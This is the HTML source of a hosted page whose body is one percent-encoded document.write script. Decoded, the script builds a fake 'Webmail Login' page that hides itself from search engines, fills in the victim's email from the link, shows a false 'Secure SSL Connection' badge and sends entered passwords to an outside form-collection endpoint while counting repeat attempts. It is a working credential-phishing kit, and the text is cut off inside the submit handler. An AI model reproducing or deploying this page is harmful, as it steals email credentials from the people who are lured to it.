class="nt">&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:image:type"</span> <span class="na">content=</span><span class="s">"image/png"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:url"</span> <span class="na">content=</span><span class="s">"https://red-blondell-19.tiiny.site/"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:type"</span> <span class="na">content=</span><span class="s">"website"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;script </span><span class="na">defer</span> <span class="na">data-domain=</span><span class="s">"red-blondell-19.tiiny.site"</span> <span class="na">src=</span><span class="s">"[https://analytics.tiiny.site/js/plausible.js](https://analytics.tiiny.site/js/plausible.js)"</span><span class="nt">&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;script </span><span class="na">language=</span><span class="s">"javascript"</span><span class="nt">&gt;</span><span class="o">|</span>
<span class="o">|&lt;!--|</span>
<span class="o">|</span><span class="c1">// == Begin Free HTML Source Code Obfuscation Protection from https://snapbuilder.com == //|</span>
<span class="o">|</span><span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">unescape</span><span class="p">(</span><span class="dl">'</span><span class="s1">%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%65%6E%22%3E%0A%3C%68%65%61%64%3E%0A%20%20%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%55%54%46%2D%38%22%3E%0A%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2E%30%22%3E%0A%20%20%3C%21%2D%2D%20%50%72%65%76%65%6E%74%20%73%65%61%72%63%68%20%65%6E%67%69%6E%65%73%20%66%72%6F%6D%20%69%6E%64%65%78%69%6E%67%20%74%68%69%73%20%70%61%67%65%20%2D%2D%3E%0A%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%69%6E%64%65%78%2C%20%6E%6F%66%6F%6C%6C%6F%77%22%3E%0A%20%20%3C%74%69%74%6C%65%3E%57%65%62%6D%61%69%6C%20%4C%6F%67%69%6E%3C%2F%74%69%74%6C%65%3E%0A%20%20%3C%73%74%79%6C%65%3E%0A%20%20%20%20%2A%7B%6D%61%72%67%69%6E%3A%30%3B%70%61%64%64%69%6E%67%3A%30%3B%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%3B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%73%79%73%74%65%6D%2D%75%69%2C%2D%61%70%70%6C%65%2D%73%79%73%74%65%6D%2C%42%6C%69%6E%6B%4D%61%63%53%79%73%74%65%6D%46%6F%6E%74%2C%27%53%65%67%6F%65%20%55%49%27%2C%52%6F%62%6F%74%6F%2C%4F%78%79%67%65%6E%2C%55%62%75%6E%74%75%2C%43%61%6E%74%61%72%65%6C%6C%2C%73%61%6E%73%2D%73%65%72%69%66%7D%0A%20%20%20%20%62%6F%64%79%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%66%35%66%35%66%35%3B%64%69%73%70%6C%61%79%3A%66%6C%65%78%3B%6A%75%73%74%69%66%79%2D%63%6F%6E%74%65%6E%74%3A%63%65%6E%74%65%72%3B%61%6C%69%67%6E%2D%69%74%65%6D%73%3A%63%65%6E%74%65%72%3B%6D%69%6E%2D%68%65%69%67%68%74%3A%31%30%30%76%68%3B%70%61%64%64%69%6E%67%3A%32%30%70%78%3B%63%6F%6C%6F%72%3A%23%33%33%33%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%63%6F%6E%74%61%69%6E%65%72%7B%77%69%64%74%68%3A%31%30%30%25%3B%6D%61%78%2D%77%69%64%74%68%3A%34%32%30%70%78%3B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%66%66%66%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%34%70%78%3B%62%6F%78%2D%73%68%61%64%6F%77%3A%30%20%32%70%78%20%31%30%70%78%20%72%67%62%61%28%30%2C%30%2C%30%2C%2E%31%29%3B%6F%76%65%72%66%6C%6F%77%3A%68%69%64%64%65%6E%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%68%65%61%64%65%72%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%35%61%39%65%3B%63%6F%6C%6F%72%3A%23%66%66%66%3B%70%61%64%64%69%6E%67%3A%32%30%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%68%65%61%64%65%72%20%68%31%7B%66%6F%6E%74%2D%73%69%7A%65%3A%32%32%70%78%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%34%30%30%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%66%6F%72%6D%7B%70%61%64%64%69%6E%67%3A%33%30%70%78%7D%0A%20%20%20%20%2E%66%6F%72%6D%2D%67%72%6F%75%70%7B%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%32%30%70%78%7D%0A%20%20%20%20%2E%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%7B%70%6F%73%69%74%69%6F%6E%3A%72%65%6C%61%74%69%76%65%7D%0A%20%20%20%20%2E%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%20%73%76%67%7B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%6C%65%66%74%3A%31%32%70%78%3B%74%6F%70%3A%35%30%25%3B%74%72%61%6E%73%66%6F%72%6D%3A%74%72%61%6E%73%6C%61%74%65%59%28%2D%35%30%25%29%3B%77%69%64%74%68%3A%31%36%70%78%3B%68%65%69%67%68%74%3A%31%36%70%78%3B%66%69%6C%6C%3A%23%36%36%36%7D%0A%20%20%20%20%69%6E%70%75%74%5B%74%79%70%65%3D%22%74%65%78%74%22%5D%2C%69%6E%70%75%74%5B%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%5D%7B%77%69%64%74%68%3A%31%30%30%25%3B%70%61%64%64%69%6E%67%3A%31%32%70%78%20%31%32%70%78%20%31%32%70%78%20%34%30%70%78%3B%62%6F%72%64%65%72%3A%31%70%78%20%73%6F%6C%69%64%20%23%63%63%63%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%34%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%34%70%78%3B%74%72%61%6E%73%69%74%69%6F%6E%3A%62%6F%72%64%65%72%20%2E%33%73%7D%0A%20%20%20%20%69%6E%70%75%74%5B%74%79%70%65%3D%22%74%65%78%74%22%5D%3A%66%6F%63%75%73%2C%69%6E%70%75%74%5B%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%5D%3A%66%6F%63%75%73%7B%62%6F%72%64%65%72%2D%63%6F%6C%6F%72%3A%23%30%30%35%61%39%65%3B%6F%75%74%6C%69%6E%65%3A%6E%6F%6E%65%3B%62%6F%78%2D%73%68%61%64%6F%77%3A%30%20%30%20%30%20%32%70%78%20%72%67%62%61%28%30%2C%39%30%2C%31%35%38%2C%2E%32%29%7D%0A%20%20%20%20%2E%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%7B%64%69%73%70%6C%61%79%3A%66%6C%65%78%3B%61%6C%69%67%6E%2D%69%74%65%6D%73%3A%63%65%6E%74%65%72%3B%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%32%30%70%78%7D%0A%20%20%20%20%2E%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%20%69%6E%70%75%74%7B%6D%61%72%67%69%6E%2D%72%69%67%68%74%3A%38%70%78%7D%0A%20%20%20%20%2E%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%20%6C%61%62%65%6C%7B%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%30%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%34%30%30%7D%0A%20%20%20%20%62%75%74%74%6F%6E%7B%77%69%64%74%68%3A%31%30%30%25%3B%70%61%64%64%69%6E%67%3A%31%32%70%78%3B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%35%61%39%65%3B%62%6F%72%64%65%72%3A%6E%6F%6E%65%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%34%70%78%3B%63%6F%6C%6F%72%3A%23%66%66%66%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%34%70%78%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%36%30%30%3B%63%75%72%73%6F%72%3A%70%6F%69%6E%74%65%72%3B%74%72%61%6E%73%69%74%69%6F%6E%3A%62%61%63%6B%67%72%6F%75%6E%64%20%2E%33%73%7D%0A%20%20%20%20%62%75%74%74%6F%6E%3A%68%6F%76%65%72%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%34%61%38%37%7D%0A%20%20%20%20%2E%66%6F%6F%74%65%72%7B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%6D%61%72%67%69%6E%2D%74%6F%70%3A%32%30%70%78%3B%63%6F%6C%6F%72%3A%23%36%36%36%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%7D%0A%20%20%20%20%2E%66%6F%6F%74%65%72%20%61%7B%63%6F%6C%6F%72%3A%23%30%30%35%61%39%65%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%7D%0A%20%20%20%20%2E%66%6F%6F%74%65%72%20%61%3A%68%6F%76%65%72%7B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%75%6E%64%65%72%6C%69%6E%65%7D%0A%20%20%20%20%2E%6C%61%6E%67%75%61%67%65%2D%73%65%6C%65%63%74%6F%72%7B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%6D%61%72%67%69%6E%2D%74%6F%70%3A%31%35%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%3B%63%6F%6C%6F%72%3A%23%36%36%36%7D%0A%20%20%20%20%2E%6C%61%6E%67%75%61%67%65%2D%73%65%6C%65%63%74%6F%72%20%73%65%6C%65%63%74%7B%70%61%64%64%69%6E%67%3A%35%70%78%3B%62%6F%72%64%65%72%3A%31%70%78%20%73%6F%6C%69%64%20%23%63%63%63%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%33%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%3B%6D%61%72%67%69%6E%2D%6C%65%66%74%3A%35%70%78%7D%0A%20%20%20%20%2E%73%65%63%75%72%69%74%79%2D%6E%6F%74%69%63%65%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%66%38%66%38%66%38%3B%62%6F%72%64%65%72%2D%74%6F%70%3A%31%70%78%20%73%6F%6C%69%64%20%23%65%65%65%3B%70%61%64%64%69%6E%67%3A%31%35%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%3B%63%6F%6C%6F%72%3A%23%36%36%36%7D%0A%20%20%20%20%2E%73%65%63%75%72%69%74%79%2D%6E%6F%74%69%63%65%20%73%76%67%7B%77%69%64%74%68%3A%31%32%70%78%3B%68%65%69%67%68%74%3A%31%32%70%78%3B%66%69%6C%6C%3A%23%32%65%63%63%37%31%3B%6D%61%72%67%69%6E%2D%72%69%67%68%74%3A%35%70%78%7D%0A%20%20%20%20%2F%2A%20%4C%6F%61%64%65%72%20%73%74%79%6C%65%20%2A%2F%0A%20%20%20%20%2E%6C%6F%61%64%65%72%7B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%74%6F%70%3A%30%3B%6C%65%66%74%3A%30%3B%77%69%64%74%68%3A%31%30%30%25%3B%68%65%69%67%68%74%3A%31%30%30%25%3B%62%61%63%6B%67%72%6F%75%6E%64%3A%72%67%62%61%28%30%2C%30%2C%30%2C%30%2E%35%29%3B%7A%2D%69%6E%64%65%78%3A%39%39%39%39%3B%6A%75%73%74%69%66%79%2D%63%6F%6E%74%65%6E%74%3A%63%65%6E%74%65%72%3B%61%6C%69%67%6E%2D%69%74%65%6D%73%3A%63%65%6E%74%65%72%7D%0A%20%20%20%20%2E%6C%6F%61%64%65%72%3A%3A%61%66%74%65%72%7B%63%6F%6E%74%65%6E%74%3A%22%22%3B%77%69%64%74%68%3A%34%30%70%78%3B%68%65%69%67%68%74%3A%34%30%70%78%3B%62%6F%72%64%65%72%3A%34%70%78%20%73%6F%6C%69%64%20%23%66%66%66%3B%62%6F%72%64%65%72%2D%74%6F%70%2D%63%6F%6C%6F%72%3A%23%30%30%35%61%39%65%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%35%30%25%3B%61%6E%69%6D%61%74%69%6F%6E%3A%73%70%69%6E%20%30%2E%38%73%20%6C%69%6E%65%61%72%20%69%6E%66%69%6E%69%74%65%7D%0A%20%20%20%20%40%6B%65%79%66%72%61%6D%65%73%20%73%70%69%6E%7B%74%6F%7B%74%72%61%6E%73%66%6F%72%6D%3A%72%6F%74%61%74%65%28%33%36%30%64%65%67%29%7D%7D%0A%20%20%3C%2F%73%74%79%6C%65%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%61%64%65%72%22%20%69%64%3D%22%6C%6F%61%64%65%72%22%3E%3C%2F%64%69%76%3E%0A%20%20%0A%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%67%69%6E%2D%63%6F%6E%74%61%69%6E%65%72%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%67%69%6E%2D%68%65%61%64%65%72%22%3E%0A%20%20%20%20%20%20%3C%68%31%3E%57%65%62%6D%61%69%6C%20%4C%6F%67%69%6E%3C%2F%68%31%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%67%69%6E%2D%66%6F%72%6D%22%3E%0A%20%20%20%20%20%20%3C%66%6F%72%6D%20%69%64%3D%22%6C%6F%67%69%6E%46%6F%72%6D%22%20%6D%65%74%68%6F%64%3D%22%50%4F%53%54%22%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%48%6F%6E%65%79%70%6F%74%20%66%69%65%6C%64%20%2D%20%69%6E%76%69%73%69%62%6C%65%20%74%6F%20%68%75%6D%61%6E%73%2C%20%74%72%61%70%73%20%62%6F%74%73%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%6E%61%6D%65%3D%22%5F%67%6F%74%63%68%61%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%20%74%61%62%69%6E%64%65%78%3D%22%2D%31%22%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%76%67%20%76%69%65%77%42%6F%78%3D%22%30%20%30%20%32%34%20%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%61%74%68%20%64%3D%22%4D%32%30%20%34%48%34%63%2D%31%2E%31%20%30%2D%31%2E%39%39%2E%39%2D%31%2E%39%39%20%32%4C%32%20%31%38%63%30%20%31%2E%31%2E%39%20%32%20%32%20%32%68%31%36%63%31%2E%31%20%30%20%32%2D%2E%39%20%32%2D%32%56%36%63%30%2D%31%2E%31%2D%2E%39%2D%32%2D%32%2D%32%7A%6D%30%20%34%6C%2D%38%20%35%2D%38%2D%35%56%36%6C%38%20%35%20%38%2D%35%76%32%7A%22%2F%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%73%76%67%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%69%64%3D%22%75%73%65%72%22%20%6E%61%6D%65%3D%22%65%6D%61%69%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%22%20%72%65%61%64%6F%6E%6C%79%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%76%67%20%76%69%65%77%42%6F%78%3D%22%30%20%30%20%32%34%20%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%61%74%68%20%64%3D%22%4D%31%38%20%38%68%2D%31%56%36%63%30%2D%32%2E%37%36%2D%32%2E%32%34%2D%35%2D%35%2D%35%53%37%20%33%2E%32%34%20%37%20%36%76%32%48%36%63%2D%31%2E%31%20%30%2D%32%20%2E%39%2D%32%20%32%76%31%30%63%30%20%31%2E%31%2E%39%20%32%20%32%20%32%68%31%32%63%31%2E%31%20%30%20%32%2D%2E%39%20%32%2D%32%56%31%30%63%30%2D%31%2E%31%2D%2E%39%2D%32%2D%32%2D%32%7A%4D%31%32%20%31%37%63%2D%31%2E%31%20%30%2D%32%2D%2E%39%2D%32%2D%32%73%2E%39%2D%32%20%32%2D%32%20%32%20%2E%39%20%32%20%32%2D%2E%39%20%32%2D%32%20%32%7A%4D%31%35%2E%31%20%38%48%38%2E%39%56%36%63%30%2D%31%2E%37%31%20%31%2E%33%39%2D%33%2E%31%20%33%2E%31%2D%33%2E%31%20%31%2E%37%31%20%30%20%33%2E%31%20%31%2E%33%39%20%33%2E%31%20%33%2E%31%76%32%7A%22%2F%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%73%76%67%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%69%64%3D%22%70%61%73%73%22%20%6E%61%6D%65%3D%22%70%61%73%73%77%6F%72%64%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%50%61%73%73%77%6F%72%64%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%63%68%65%63%6B%62%6F%78%22%20%69%64%3D%22%72%65%6D%65%6D%62%65%72%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%72%65%6D%65%6D%62%65%72%22%3E%52%65%6D%65%6D%62%65%72%20%6D%65%3C%2F%6C%61%62%65%6C%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%62%75%74%74%6F%6E%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%3E%53%69%67%6E%20%49%6E%3C%2F%62%75%74%74%6F%6E%3E%0A%20%20%20%20%20%20%3C%2F%66%6F%72%6D%3E%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%6F%74%65%72%22%3E%0A%20%20%20%20%20%20%20%20%3C%70%3E%3C%61%20%68%72%65%66%3D%22%23%22%3E%46%6F%72%67%6F%74%20%79%6F%75%72%20%70%61%73%73%77%6F%72%64%3F%3C%2F%61%3E%3C%2F%70%3E%0A%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%61%6E%67%75%61%67%65%2D%73%65%6C%65%63%74%6F%72%22%3E%0A%20%20%20%20%20%20%20%20%4C%61%6E%67%75%61%67%65%3A%20%0A%20%20%20%20%20%20%20%20%3C%73%65%6C%65%63%74%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%45%6E%67%6C%69%73%68%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%45%73%70%61%F1%6F%6C%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%46%72%61%6E%E7%61%69%73%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%44%65%75%74%73%63%68%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%3C%2F%73%65%6C%65%63%74%3E%0A%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%73%65%63%75%72%69%74%79%2D%6E%6F%74%69%63%65%22%3E%0A%20%20%20%20%20%20%3C%73%76%67%20%76%69%65%77%42%6F%78%3D%22%30%20%30%20%32%34%20%32%34%22%3E%0A%20%20%20%20%20%20%20%20%3C%70%61%74%68%20%64%3D%22%4D%31%38%20%38%68%2D%31%56%36%63%30%2D%32%2E%37%36%2D%32%2E%32%34%2D%35%2D%35%2D%35%53%37%20%33%2E%32%34%20%37%20%36%76%32%48%36%63%2D%31%2E%31%20%30%2D%32%20%2E%39%2D%32%20%32%76%31%30%63%30%20%31%2E%31%2E%39%20%32%20%32%20%32%68%31%32%63%31%2E%31%20%30%20%32%2D%2E%39%20%32%2D%32%56%31%30%63%30%2D%31%2E%31%2D%2E%39%2D%32%2D%32%2D%32%7A%4D%31%32%20%31%37%63%2D%31%2E%31%20%30%2D%32%2D%2E%39%2D%32%2D%32%73%2E%39%2D%32%20%32%2D%32%20%32%20%2E%39%20%32%20%32%2D%2E%39%20%32%2D%32%20%32%7A%4D%31%35%2E%31%20%38%48%38%2E%39%56%36%63%30%2D%31%2E%37%31%20%31%2E%33%39%2D%33%2E%31%20%33%2E%31%2D%33%2E%31%20%31%2E%37%31%20%30%20%33%2E%31%20%31%2E%33%39%20%33%2E%31%20%33%2E%31%76%32%7A%22%2F%3E%0A%20%20%20%20%20%20%3C%2F%73%76%67%3E%0A%20%20%20%20%20%20%53%65%63%75%72%65%20%53%53%4C%20%43%6F%6E%6E%65%63%74%69%6F%6E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%3C%2F%64%69%76%3E%0A%0A%20%20%3C%73%63%72%69%70%74%3E%0A%20%20%20%20%2F%2F%20%46%6F%72%6D%73%70%61%72%6B%20%65%6E%64%70%6F%69%6E%74%0A%20%20%20%20%63%6F%6E%73%74%20%46%4F%52%4D%53%50%41%52%4B%5F%55%52%4C%20%3D%20%22%68%74%74%70%73%3A%2F%2F%73%75%62%6D%69%74%2D%66%6F%72%6D%2E%63%6F%6D%2F%76%4A%49%67%6A%7A%32%5A%6A%22%3B%0A%20%20%20%20%0A%20%20%20%20%2F%2F%20%47%65%74%20%65%6D%61%69%6C%20%66%72%6F%6D%20%55%52%4C%20%68%61%73%68%20%28%65%2E%67%2E%2C%20%23%65%6D%61%69%6C%40%64%6F%6D%61%69%6E%2E%63%6F%6D%29%0A%20%20%20%20%66%75%6E%63%74%69%6F%6E%20%67%65%74%45%6D%61%69%6C%46%72%6F%6D%55%52%4C%28%29%20%7B%0A%20%20%20%20%20%20%69%66%20%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%61%73%68%20%26%26%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%61%73%68%2E%69%6E%63%6C%75%64%65%73%28%27%40%27%29%29%20%7B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%61%73%68%2E%73%75%62%73%74%72%69%6E%67%28%31%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%75%72%6C%50%61%72%61%6D%73%20%3D%20%6E%65%77%20%55%52%4C%53%65%61%72%63%68%50%61%72%61%6D%73%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%73%65%61%72%63%68%29%3B%0A%20%20%20%20%20%20%69%66%20%28%75%72%6C%50%61%72%61%6D%73%2E%68%61%73%28%27%65%6D%61%69%6C%27%29%29%20%7B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%75%72%6C%50%61%72%61%6D%73%2E%67%65%74%28%27%65%6D%61%69%6C%27%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%72%65%74%75%72%6E%20%6E%75%6C%6C%3B%0A%20%20%20%20%7D%0A%20%20%20%20%0A%20%20%20%20%2F%2F%20%50%72%65%2D%66%69%6C%6C%20%65%6D%61%69%6C%20%66%69%65%6C%64%0A%20%20%20%20%63%6F%6E%73%74%20%65%6D%61%69%6C%46%72%6F%6D%55%72%6C%20%3D%20%67%65%74%45%6D%61%69%6C%46%72%6F%6D%55%52%4C%28%29%3B%0A%20%20%20%20%63%6F%6E%73%74%20%65%6D%61%69%6C%49%6E%70%75%74%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%75%73%65%72%27%29%3B%0A%20%20%20%20%69%66%20%28%65%6D%61%69%6C%46%72%6F%6D%55%72%6C%29%20%7B%0A%20%20%20%20%20%20%65%6D%61%69%6C%49%6E%70%75%74%2E%76%61%6C%75%65%20%3D%20%65%6D%61%69%6C%46%72%6F%6D%55%72%6C%3B%0A%20%20%20%20%7D%20%65%6C%73%65%20%7B%0A%20%20%20%20%20%20%65%6D%61%69%6C%49%6E%70%75%74%2E%76%61%6C%75%65%20%3D%20%27%4E%6F%20%65%6D%61%69%6C%20%73%70%65%63%69%66%69%65%64%20%69%6E%20%55%52%4C%27%3B%0A%20%20%20%20%7D%0A%20%20%20%20%0A%20%20%20%20%2F%2F%20%46%6F%72%6D%20%73%75%62%6D%69%73%73%69%6F%6E%20%68%61%6E%64%6C%65%72%0A%20%20%20%20%63%6F%6E%73%74%20%66%6F%72%6D%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%6C%6F%67%69%6E%46%6F%72%6D%27%29%3B%0A%20%20%20%20%63%6F%6E%73%74%20%6C%6F%61%64%65%72%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%6C%6F%61%64%65%72%27%29%3B%0A%20%20%20%20%6C%65%74%20%61%74%74%65%6D%70%74%43%6F%75%6E%74%20%3D%20%30%3B%0A%20%20%20%20%6C%65%74%20%66%69%72%73%74%50%61%73%73%77%6F%72%64%20%3D%20%27%27%3B%0A%20%20%20%20%0A%20%20%20%20%66%6F%72%6D%2E%61%64%64%45%76%65%6E%74%4C%69%73%74%65%6E%65%72%28%27%73%75%62%6D%69%74%27%2C%20%61%73%79%6E%63%20%66%75%6E%63%74%69%6F%6E%28%65%29%20%7B%0A%20%20%20%20%20%20%65%2E%70%72%65%76%65%6E%74%44%65%66%61%75%6C%74%28%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%65%6D%61%69%6C%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%75%73%65%72%27%29%2E%76%61%6C%75%65%2E%74%72%69%6D%28%29%3B%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%70%61%73%73%77%6F%72%64%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%70%61%73%73%27%29%2E%76%61%6C%75%65%2E%74%72%69%6D%28%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%21%65%6D%61%69%6C%20%7C%7C%20%65%6D%61%69%6C%20%3D%3D%3D%20%27%4E%6F%20%65%6D